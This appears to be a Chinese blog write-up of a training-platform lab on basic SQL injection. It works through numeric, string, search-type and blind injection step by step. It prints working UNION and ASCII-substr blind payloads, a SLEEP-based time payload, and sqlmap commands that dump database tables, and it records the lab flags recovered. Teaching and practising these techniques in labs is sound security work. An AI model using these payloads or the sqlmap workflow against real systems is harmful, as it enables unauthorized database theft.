• 零号培训平台课程-1、SQL注入基础



    需要知道的知识:
    mysql中的information_schema 结构用来存储数据库系统信息
    information_schema 结构中这几个表存储的信息,在注入中可以用到的几个表。
    SCHEMATA :存储数据库名的,
    ——>关键字段:SCHEMA_NAME,表示数据库名称

    TABLES :存储表名的
    ——>关键字段:TABLE_SCHEMA表示表所属的数据库名称;
    ——>关键字段:TABLE_NAME表示所属的表的名称

    COLUMNS :存储字段名的
    ——>关键字段:COLUMN_NAME表示字段名

    一、数字型注入

    1、判断注入存在:and 1=1 and 1=2返回不同

    2、猜测数据库
    获取所有数据库名:
    1 and 1=2 union select group_concat(schema_name) from information_schema.schemata;
    在这里插入图片描述

    information_schema,lession1,test
    3、猜测数据库表:
    获取"lession1"数据库的所有表名:
    1 and 1=2 union select group_concat(table_name) from information_schema.tables where table_schema=“lession1”
    在这里插入图片描述

    4、猜字段
    1 and 1=2 union select group_concat(table_name) from information_schema.tables where table_schema="lession1"and table_name=“flag”
    在这里插入图片描述

    5、获取flag :
    1 and 1=2 union select group_concat(flag) from lession1.flag
    在这里插入图片描述

    得到flag:3347aeb7b48b6d8ca56025a3fc2fab9a
    输入到输入框:
    在这里插入图片描述

    点击提交,通过就到了下一关:
    在这里插入图片描述

    二、字符型注入

    1、判断注入存在: amin’and"1’=‘1 amin’and’1’=2返回不同
    2、猜测数据库
    admin1’ union select group_concat(schema_name) from information_schema.schemata%23;
    在这里插入图片描述

    得到information_schema,lession2,test
    3、猜测数据库表︰
    admin1%27union select group_concat(table_name) from information_schema.tables where table_schema=“lession2”%23
    在这里插入图片描述

    得到flag表
    4、猜字段
    admin2%27 union select group_concat(table_name) from information_schema.tables where table_schema=“lession2” and table_name=“flag”%23
    在这里插入图片描述

    字段名也叫flag
    5、获取flag :
    admin2%27union select group_concat(flag)%20from%20lession2.flag%23
    在这里插入图片描述

    得到flag:d467475c0b0ac1eb2a2d58a0bf204e0e

    三、搜索型注入

    1、判断注入存在:
    admin%25%27and%201=2
    admin%25%27and%201=1 --+返回不同
    2、猜测数据库
    admin1%25%27union select group_concat(schema_name) from information_schema.schemata%23
    在这里插入图片描述

    得到information_schema,lession3,test
    3、猜测数据库表︰
    admin1%25%27union select group_concat(table_name) from information_schema.tables where table_schema=“lession3”%23
    在这里插入图片描述

    得到flag表
    4、猜字段
    admin2%25%27union select group_concat(table_name) from information_schema.tables where table_schema=“lession3” and table_name=“flag”%23
    在这里插入图片描述

    字段名也叫flag
    5、获取flag :
    admin2%25%27union%20select%20group_concat(flag)%20from%20lession3.flag%23
    在这里插入图片描述

    得到flag:21fb2c6c87d00ae12f0fce84d64cf511

    四、盲注型

    1.二分计算数据库长度

    id=1 and (select length(group_concat(schema_name)) from information_schema.schemata)=32
    
    • 1

    在这里插入图片描述

    返回结果正常,证明数据库的长度
    2.二分查找数据库名

    id=1 and ascii(substr((select group_concat(schema_name) from information_schema.schemata),1,1))>105
    
    • 1

    在这里插入图片描述

    返回结果错误,证明数据库名的第一个字母的ASCII码值没有大于105
    3.二分查找表

    id=1 and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="lession4"),1,1)) >105
    
    • 1

    在这里插入图片描述

    返回结果错误,证明表名的第一个字母的ASCII码值没有大于105

    4.二分查找表字段名

    id=1 and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema="lession4" and table_name="flag"),1,1))>105
    
    • 1

    在这里插入图片描述

    返回结果错误,证明字段名的第一个字母的ASCII码值没有大于105

    5.二分查找获得数据

    id=1 and ascii(substr((select group_concat(flag) from lession4.flag),1,1))>105
    
    • 1

    在这里插入图片描述

    返回结果错误,证明flag的第一个字母的ASCII码值没有大于105
    6.盲注推荐使用工具-sqlmap

    –batch 批处理,在检测过程中会问用户一些问题,使用这个参数统统使用默认值。
    –dbs 目标服务器中有什么数据库,常用,直接用–dbs
    –current-user 当前用户,常用,直接用–current-user
    –current-db 当前数据库,常用,直接用–current-db
    –tables 目标数据库有什么表,常用,直接用–tables
    –columns 目标表中有什么列,常用,直接用–colums
    –schema 目标数据库数据库系统管理模式。
    –search 搜索列、表和/或数据库名称。
    -D DB 指定从某个数据库查询数据,常用。例: -D admindb
    -T TBL 指定从某个表查询数据,常用。例: -T admintable
    -C COL 指定从某个列查询数据,常用。例: -C username

    得到完整的请求数据包:
    在这里插入图片描述

    保存为linghao.txt

    py -2 sqlmap.py -r linghao.txt --batch
    
    • 1

    在这里插入图片描述

    发现参数id有基于时间的盲注,MySQL >= 5.0.12和基于时间的盲注,
    有效载荷:id=1 AND SLEEP(5)
    后端数据库是MySQL,web服务器操作系统:Linux Ubuntu,web应用技术:PHP 5.5.9, Nginx 1.16.1
    在这里插入图片描述

    py -2 sqlmap.py -r linghao.txt --dbs
    
    • 1

    在这里插入图片描述

    Sqlmap也是通过ASCII码一个一个字母盲注出来的,一共有3个数据,找到目标数据库lession4

    py -2 sqlmap.py -r linghao.txt -D lession4 --tables
    在这里插入图片描述

    找到数据表名flag

    py -2 sqlmap.py -r linghao.txt -D lession4 -T flag --dump
    
    • 1
    ![在这里插入图片描述](https://img-blog.csdnimg.cn/8e19619fc03640a8b95591b91ff18277.png)
    
    • 1

    得到flag:0dc8b42164407fc640c86b48d5ec9bf0
    提交flag:
    在这里插入图片描述

    得到最终flag:3347aeb7b48b6d8ca56025a3fc2fab9ad467475c0b0ac1eb2a2d58a0bf204e0e21fb2c6c87d00ae12f0fce84d64cf5110dc8b42164407fc640c86b48d5ec9bf0

  • 相关阅读:
    Redis分片集群实验
    方舟开服务器怎么开
    win11:我的电脑右键属性崩溃问题
    JavaScript 布尔类型(boolean) 和为定义类型(undefined)
    信必优再次收到泛亚地区Top级独立上市人寿保险集团感谢信
    web前端JS基础------制作一个获取验证码
    .Net与AI的强强联合:AntSK知识库项目中Rerank模型的技术突破与实战应用
    【python】list 删除列表中某个元素的3种方法;附加删除numpy数组中的指定索引元素的方法
    【SDXL_LORA模型训练详细教程(含云端教程)】
    富文本编辑器的实现与回显
  • 原文地址:https://blog.csdn.net/Onlyone_1314/article/details/125963536